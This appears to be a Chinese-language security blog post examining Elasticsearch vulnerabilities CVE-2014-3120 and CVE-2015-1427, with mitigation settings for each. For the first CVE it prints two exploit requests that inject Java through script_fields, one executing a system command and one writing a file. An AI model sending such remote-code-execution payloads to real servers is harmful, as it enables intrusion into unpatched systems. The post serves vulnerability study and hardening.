盒子
盒子
文章目录
  1. CVE-2014-3120
  2. CVE-2015-1427

ElasticSearch安全问题

这篇文章主要是研究下Elasticsearch的一些漏洞,因为自己开发的系统也用到了Elasticsearch,自己检测下,顺便学习下

我主要看到的就是一个是CVE-2014-3120和CVE-2015-1427,至于什么配置不当,外网能访问不在考虑范围内,Elasticsearch本来就是没有认证的,应该在内网并且做安全配置的。

CVE-2014-3120

关于这儿漏洞主要就是script_fields里面允许执行代码,可以通过java代码执行系统命令,我找了网上的poc,在我1.6版本的ES上测试并没有能成功复现,为了阅读方便我也稍微格式化了json代码。通过后面的深入研究好像是这个已经修复了,详情可以看乌云关于CVE-2015-1427的分析。地址在这里
exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://192.168.32.152:9200/_search?source=
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exp": {
"script": "import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"ifconfig\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}
}
}

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://192.168.32.150:9200/_search?source=
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exp": {
"script": "import java.util.*;\nimport java.io.*;\nFile f = new File(\"/tmp/12.txt\");if(f.exists()){\"exists\".toString();}BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),\"UTF-8\"));bw.write(\"1233\");bw.flush();bw.close();if(f.exists()){\"success\".toString();}"
}
}
}

freebuf上还有个功能强大的EXP,地址在这里
漏洞修复方案:在配置文件elasticsearch.yml里设置script.disable_dynamic: true

CVE-2015-1427

这个漏洞是上一个cve发生后,ES将脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,沙盒代码黑名单中的Java危险方法过滤不全,从而导致的代码执行。
这个漏洞乌云有两篇文章专门讲述了这个漏洞:传送门1传送门2
修复方案:关闭groovy沙盒以已停止动态脚本的使用script.groovy.sandbox.enabled: false
最新版也修复了这个漏洞